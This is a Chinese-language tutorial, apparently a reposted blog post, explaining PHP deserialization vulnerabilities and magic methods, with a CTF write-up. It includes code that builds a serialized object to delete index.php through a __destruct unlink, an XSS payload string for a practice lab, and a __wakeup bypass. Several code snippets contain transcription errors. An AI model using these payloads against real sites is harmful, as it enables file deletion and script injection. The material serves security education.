PHP反序列化漏洞详解(魔术⽅法)
⽂章⽬录
⼀、PHP⾯向对象编程
在⾯向对象的程序设计(Object-oriented programming,OOP)中,对象是⼀个由信息及对信息进⾏处理的描述所组成的整体,是对现实世界的抽象。类是⼀个共享相同结构和⾏为的对象的集合。每个类的定义都以关键字class开头,后⾯跟着类的名字。
创建⼀个PHP类:
<?php
class TestClass //定义⼀个类
{
//⼀个变量
public $variable = 'This is a string';
//⼀个⽅法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建⼀个对象
$object = new TestClass();
//调⽤⼀个⽅法
$object->PrintVariable();
>
public、protected、private
PHP 对属性或⽅法的访问控制,是通过在前⾯添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有):公有的类成员可以在任何地⽅被访问。
protected(受保护):受保护的类成员则可以被其⾃⾝以及其⼦类和⽗类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。
注意:不同修饰符序列化后的值不⼀样
访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所⽰:
public:属性被序列化的时候属性值会变成属性名
protected:属性被序列化的时候属性值会变成\x00*\x00属性名
private:属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表⽰空字符,但是还是占⽤⼀个字符位置
魔术⽅法(magic函数)
PHP中把以两个下划线__开头的⽅法称为魔术⽅法(Magic methods)
类可能会包含⼀些特殊的函数:magic函数,这些函数在某些情况下会⾃动调⽤。
serialize() 函数会检查类中是否存在⼀个魔术⽅法。如果存在,该⽅法会先被调⽤,然后才执⾏序列化操作。
__construct:构造函数,当⼀个对象创建时调⽤
__destruct:析构函数,当⼀个对象被销毁时调⽤
__toString:当⼀个对象被当作⼀个字符串时使⽤
__sleep:在对象序列化的时候调⽤
__wakeup:对象重新醒来,即由⼆进制串重新组成⼀个对象的时候(在⼀个对象被反序列化时调⽤)
从序列化到反序列化这⼏个函数的执⾏过程是:
__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()
<?php
class TestClass
{
//⼀个变量
public $variable = 'This is a string';
//⼀个⽅法
public function PrintVariable()
{
echo $this->variable.'<br />';
}
//构造函数
public function __construct()
{
echo '__construct<br />';
}
//析构函数
public function __destruct()
{
echo '__destruct<br />';
}
//当对象被当作⼀个字符串
public function __toString()
{
return '__toString<br />';
}
}
//创建⼀个对象
//__construct会被调⽤
$object = new TestClass();
//创建⼀个⽅法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作⼀个字符串
/
/toString会被调⽤
echo $object;
//php脚本要结束时,__destruct会被调⽤
>
输出结果:
__construct
This is a string
__toString
__destruct
⼆、PHP序列化和反序列化
有时需要把⼀个对象在⽹络上传输,为了⽅便传输,可以把整个对象转化为⼆进制串,等到达另⼀端时,再还原为原来的对象,这个过程称之为串⾏化(也叫序列化)。有两种情况必须把对象序列化:
把⼀个对象在⽹络中传输的时候
把对象写⼊⽂件或数据库的时候
序列化:把对象转化为⼆进制的字符串,使⽤serialize()函数
反序列化:把对象转化的⼆进制字符串再转化为对象,使⽤unserialize()函数
通过例⼦来看PHP序列化后的格式:
<?php
class User
{
//类的数据
public $age = 0;
public $name = '';
/
/输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
} // “.”表⽰字符串连接
}
//创建⼀个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
/
/输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
>
输出结果:
User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
下⾯的 O:4:“User”:2:{s:3:“age”;i:18;s:4:“name”;s:14:“Hardworking666”;} 就是对象user序列化后的形式。
“O”表⽰对象,“4”表⽰对象名长度为4,“User”为对象名,“2”表⽰有2个参数。
“{}”⾥⾯是参数的key和value,
“s”表⽰string对象,“3”表⽰长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后⾯同理。
进⾏反序列化:
<?php
class User
{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
}
}
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
>
User Hardworking666 is 18 years old.
_sleep ⽅法在⼀个对象被序列化时调⽤,_wakeup⽅法在⼀个对象被反序列化时调⽤
<?php
class test
{
public $variable = '变量反序列化后都要销毁'; //公共变量
public $variable2 = 'OTHER';
public function printvariable()
{
echo $this->variable.'<br />';
}
public function __construct()
{
echo '__construct'.'<br />';
}
public function __destruct()
{
echo '__destruct'.'<br />';
}
public function __wakeup()
{
echo '__wakeup'.'<br />';
}
public function __sleep()
{
echo '__sleep'.'<br />';
construct用法return array('variable','variable2');
}
}
//创建⼀个对象,回调⽤__construct
$object = new test();
//序列化⼀个对象,会调⽤__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调⽤__wakeup
$object2 = unserialize($serialized);
/
/调⽤printvariable,会输出数据(变量反序列化后都要销毁)
$object2->printvariable();
//脚本结束,会调⽤__destruct
>
__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}
__wakeup
变量反序列化后都要销毁
__destruct
__destruct
从序列化到反序列化这⼏个函数的执⾏过程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()
三、PHP反序列化漏洞原理
序列化和反序列化本⾝没有问题,但是如果反序列化的内容是⽤户可以控制的,且后台不正当的使⽤了PHP中的魔法函数,就会导致安全问题。当传给unserialize()的参数可控时,可以通过传⼊⼀个精⼼构造的序列化字符串,从⽽控制对象内部的变量甚⾄是函数。
存在漏洞的思路:⼀个类⽤于临时将⽇志储存进某个⽂件,当__destruct被调⽤时,⽇志⽂件将会被删除:
//logdata.php
<?php
class logfile
{
/
/log⽂件名
public $filename = 'error.log';
//⼀些⽤于储存⽇志的代码
public function logdata($text)
{
echo 'log data:'.$text.'<br />';
file_put_contents($this->filename,$text,FILE_APPEND);
}
//destrcuctor 删除⽇志⽂件
public function __destruct()
{
echo '__destruct deletes '.$this->filename.'file.<br />';
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
>
<?php
include 'logdata.php'
class User
{
//类数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
}
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
>
代码$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以构造输⼊,删除任意⽂件。
如构造输⼊删除⽬录下的index.php⽂件:
<?php
include 'logdata.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
>
上⾯展⽰了由于输⼊可控造成的__destruct函数删除任意⽂件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数。⽐如,某⽤户类定义了⼀个__toString,为了让应⽤程序能够将类作为⼀个字符串输出(echo $object),⽽且其他类也可能定义了⼀个类允许__toString读取某个⽂件。
例如,⽪卡丘靶场PHP反序列化漏洞
$html=";
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>错误输出</p>";
}else{
$html.="<p>{$unser->test)</p>";
}
为了执⾏<script>alert('xss')</script>,Payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
其他知识点:
unserialize漏洞依赖条件:
1、unserialize函数的参数可控
2、脚本中存在⼀个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向PHP⽂件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值
防范⽅法:
1、严格控制unserialize函数的参数,坚持⽤户所输⼊的信息都是不可靠的原则
2、对于unserialize后的变量内容进⾏检查,以确定内容没有被污染
四、CTF例题
PHP反序列化绕过__wakeup()
攻防世界xctf web unserialize3
打开⽹址后的代码:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
code=
已知在使⽤ unserialize() 反序列化时会先调⽤ __wakeup()函数,
⽽本题的关键就是如何绕过 __wakeup()函数,就是在反序列化的时候不调⽤它
当序列化的字符串中的属性值个数⼤于属性个数就会导致反序列化异常,从⽽绕过 __wakeup()
代码中的__wakeup()⽅法如果使⽤就是和unserialize()反序列化函数结合使⽤的
这⾥没有特别对哪个字符串序列化,所以把xctf类实例化后,进⾏反序列化。
我们利⽤php中的new运算符,实例化类xctf。
new 是申请空间的操作符,⼀般⽤于类。
⽐如定义了⼀个 class a{public i=0;}
$c = new a(); 相当于定义了⼀个基于a类的对象,这时候 $c->i 就是0
构造序列化的代码在编辑器内执⾏:
<?php
class xctf{
public $flag = '111'; //public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}//题⽬少了⼀个},这⾥补上
$a=new xctf();
echo(serialize($a));
>
运⾏结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>} O:表⽰序列化的是对象
<length>:表⽰序列化的类名称长度
<class name>:表⽰序列化的类的名称
<n>:表⽰被序列化的对象的属性个数
<field name 1>:属性名
<field value 1>:属性值
所以要修改属性值<n>,既把1改为2以上。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在url中输⼊:
code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论